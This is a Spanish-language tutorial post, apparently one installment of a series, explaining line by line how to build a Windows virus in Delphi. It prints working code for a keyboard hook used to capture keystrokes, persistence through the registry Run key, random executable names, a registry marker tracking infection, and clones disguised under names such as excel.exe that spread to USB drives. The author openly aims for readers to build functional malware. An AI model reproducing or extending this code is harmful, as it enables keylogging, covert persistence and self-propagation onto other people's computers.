Buenas gente acá estoy nuevamente
... Bueno siguiendo con el código que subí la última vez. Iré explicando línea por línea para que vayamos entendiendo nuestro código
1: La línea #2. Indica el nombre de la Unit principal de nuestro virus(La unit por defecto que contiene el Form).
2: De la línea #4 a la #12 son todas las Units que necesitará nuestro virus para poder trabajar de forma correcta.(Recuerden que algunos módulos pertenecen a Indy9 y ZipForce, por lo que deberán instalarlos en su máquina para poder usarlos).
3: La línea #15(Investiguen sobre WM_USER) , servirá para hacer la captura de los mensajes que el hook ennvíe(Más adelante lo veremos a fondo).
4:La línea #17 será el encargado de hacer que exista un procedimiento de llamada externa que le indique al hook que se enganche con el teclado.
5:Las líneas #22 y #23 son eventos del Form.
6:Ahora bien ahora haré una pausa ya que de la línea #24 a la #42 hay un poco de desorden en la sintaxis del código y algunas líneas de sobra, así que por cuestiones de estética, este debería quedar de esta forma:
PRIVATE
FicheroM : THandle;
HookOn : THookTeclado;
PReceptor : ^Integer;
NombreDLL,
Libeay32DLL,
SSLeay32DLL,
FicheroLog,
EjecutableAnterior,
NuevaRuta: String;
HandleHookDLL,
OpenLibeay32DLL,
OpenSSLeay32DLL: THandle;
ThisMoment : TDateTime;
TempTime:TStringList;
newDateTime:TDateTime;
cWindow:String;
cTexto, Letra:String;
TeclaTilde, TeclaShift:String;
Comenzar:Integer;
// Error : WORD;
// TotalBytes : TInteger8;
// VerifyLine : STRING;
// Original, Comparado : STRING;
// ContinueLoop:BOOL;
FSnapshotHandle:THandle;
FProcessEntry32:TProcessEntry32;
//Crearemos un procedimiento que capture los
PROCEDURE Llegada_del_HOOK(var message: TMessage); message CM_MANDA_TECLA; //mensajes que el Hook del teclado realice
END;
Les pido disculpas, pero cómo este código lo subi en horas de la noche, estaba muy cansado y no me tomé la molestia de revisar...
Bueno ahora sí, espero que los comentarios que puse en cada línea sean suficientes para hacerme entender un poco.
Ahora de aquí nos saltaremos a lo más importante, la Línea #94!!!!:
Esta bifurcación se encargará de verificar si nuestro virus existe o no en la pc actual.
La comprobación se realiza por medio de la función "ObtenerDest_Virus" ...
La función primero buscará una clave especifica almacenada en el registro de windows. Así que explicaré esto con un poco de calma:
La Función "ObtenerDest_Virus" está alojada en la Unit "UnitFuncionesExtras", la misma se encargará de buscar la clave que grabamos en el Registro y ducha clave contendrá 3 cadenas(1: La ruta exacta del virus en ejecución(Incluyendo el nombre), 2:Un nombre aleatorio asignado para la copia del virus que será implantado en las unidades USB(Sólo el nombre, sin ruta) y 3: La ruta exacta de la nueva copia que el virus creará en la pc en caso de que no exista)
Bueno muchos se preguntarán, ¿Para qué todo esto?. Bueno resulta que nuestro virus intentará por todos los medios de manejar siempre una sola copia de él mismo dentro de la pc, y dentro de las unidades USB. A menos que la Clave que asignamos en el Registro de windows sufra algún daño... Por lo tanto la primer cadena en nuestra Clave, almacenará la ubicación exacta de nuestro virus en ejecución para posteriormente poderlo ubicar y eliminar desde la siguiente copia del virus que se ejecute en la maquina. La cadena 2 de igual forma, buscará si nuestro virus infectó o no las unidades USB(Solamente usb) y sino procederá a infectarlas, y la tercer cadena es para que una vez que nuestro virus se ejecutó en un reinicio de la pc, pueda existir una forma de determinar si nuestro virus se encuentra alojado en el sistema.
Pero antes de ver el código de esta funcion debemos saber cómo es que se almacenan estas Cadenas en el Registro, cómo obtengo la ruta exacta de mi virus en ejecución, cómo genero un nombre aleatorio para la copia del virus que irá en las unidades usb, etc.
Primero veremos cómo manipular el Registro de windows(Agregar un valor a la Subclave Run del Registro; Lo mismo aplica para la Clave que necesitaremos en donde se almacenarán todos los datos anteriormente explicados)
En delphi para lograr la manipulación del registro de windows deberemos usar una de sus clases, llamada TRegistry, este solo podrá usarse si agregamos en el Uses la unidad Registry.
Bueno para agregar una clave se haría lo siguiente:
procedure AgregarApp_Registro;
var Registro: TRegistry;
begin
Registro := TRegistry.Create;
Registro.RootKey := HKEY_CURRENT_USER; //Tambien puede ser HKEY_LOCAL_MACHINE
if Registro.OpenKey( 'Software\Microsoft\Windows\CurrentVersion\Run', FALSE ) Then //Ojo con el False
begin
Registro.WriteString("Nombre identificador", "C:\Miapp.exe");
Registro.CloseKey;
end;
Registro.Free;
end;
De este ejemplo hay algo que les quiero comentar.... La línea #8 al final dice False, porqué?, porque si ustedes abren una clave con un parámetro True, este lo que hará será crear una subclave llamada Run dentro de la clave Run(Al final el código será inservible). En cambio si le ponemos False, la clave Run solamente se abrirá, y así podremos manipular los datos dentro de ella.
Ahora bien la línea #10 creará una cadena tipo String: La primera parte será el nombre que le asignemos a la cadena para identificar el virus, y la segunda parte será la ruta completa donde se encuentra el virus...
Si lo que queremos es agregar nuestro virus en ejecucion al Run. se podría hacer de esta forma:
Registro.WriteString("Virus T", ParamStr(0)); // Asi mismo ;)
Sigamos con el otro punto, Cómo hago yo para crear un nombre aleatorio?:
Bueno para eso hay muchas formas, y si buscan en internet encontrarán varias:
En mi caso no me quise quebrar la cabeza con esto
y tome un algoritmo de no me acuerdo donde, pero es así:
Function Virus_GenerarNombre: String;
var
Cadena, Nam31, naM32: string;
Ancho: Integer;
i:Integer;
Indice: Integer;
begin
Cadena := 'DdEeFfHhIiKkLlOoPpQqRrSsTtUuVvXxYyZz123456789'; //Alfanumerico
naM32 := 'xe' ; //Parte de la extension .exe
Ancho := 8; //Longitud del nombre de nuestro virus
Randomize;
Result := '';
Nam31:= '.e'; //Parte de la extension .exe
Begin
for i:= 1 to Ancho do //Desde i = 1 hasta el ancho de nuestro nombre
begin
Indice := Random(Length(Cadena)); //Indice = Un numero aleatorio que corresponda a la longitud de la Cadena
while Indice = 0 do
begin
Indice := Random(Length(Cadena));
end;
Result := Result + Cadena[Indice];
end;
end;
Result := Result + Nam31 + naM32;
end;
A esa función no se le tiene que pasar ningún parámetro, al final les tirará una cadena tipo "7huEjdn6.exe" por ejemplo.
Por último deberemos tomar todos estos datos y almacenarlos en la clave del Registro que tendremos como punto de referencia para futuras ejecuciones.
Sería algo así:
Reg := TRegistry.create(KEY_WRITE);
Reg.RootKey := HkEY_CUrrENT_USeR;
Reg.OpenKey('Software\VirusT', True);
Reg.WriteString('Valor1', ParamStr(0)); //Ruta del virus
Reg.WriteString('Valor2', "7huEjdn6.exe"); //Nombre del virus en usb's
Reg.WriteString('Valor3', "C:\USers\Admin\excel.exe");//Ruta de la nueva copia del virus
Reg.CloseKey;
Reg.Free;
Una vez que ya saben esto ya se imaginarán más o menos lo que hará la función "ObtenerDest_Virus"...
Esta función primeramente determinará si la subclave VirusT existe en la Clave Software. Suponiendo que existiera, lo que hará será tomar la tercer cadena "Valor3" y verificará por medio de la sentencia FileExist, si el virus ya existe. Aquí debe hacerlo de 2 formas. 1, ver si la copia del virus tiene .exee o 2, ver si la copia del virus tiene .exe..... Imaginémonos que tenemos un virus que cambia de posición cada 24hrs. Si mi virus determina que es hora de ejecutar su clon, deberá cambiar la extension .exee del clon para que pueda arrancar... finalmente el virus le indica al Run que debe ejecutar, la próxima vez que se inicie la máquina, el clon de él.. Cuando el Run recibe la orden, que el clon debe ejecutarse al siguiente inicio, lo hará y el clon se ejecutará y lo una de las primeras cosas que hará será determinar si ya la pc está infectada.... Es allí donde buscará si la ruta almacenada en el "Valor3" contiene el virus, así que si no encuetra el virus con la extension .exee, buscará la extensión .exe, de lo contrario la infectará nuevamente con una nueva ruta y el proceso se repetirá....
Ahora bien cómo leemos un valor en el Registro de Windows.... Acá está un ejemplo suponiendo que deseemos conocer la ruta del virus almacenada en el "Valor3" de la Cadena "VirusT":
Reg := TRegistry.create(KEY_READ);//Aca cambia el modo de creacion
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\', FALSE);//Siempre usamos False en modo KEY_READ
IF Reg.KeyExists('VirusT') then
BEGIN
Reg.OpenKey('VirusT', FALSE);
if Reg.ValueExists('Valor3!') then
begin
Ruta:= Reg.ReadString('Valor3'); //ReadString en lugar de WriteString
REG.CloseKey;
REG.Free;
end;
End;
Creo que por el momento esto será todo. Como verán estoy intentando abarcar todas las bases antes de proseguir con el resto del código para que nos vayamos entendiendo.Cada función que vayamos necesitando y muchas otras cosas que en el camino aparezcan se las iré explicando y así prodrán ir armando su propio virus con todo lo necesario para ser algo realmente funcional... Espero que les haya gustado a todos
... Nos vemos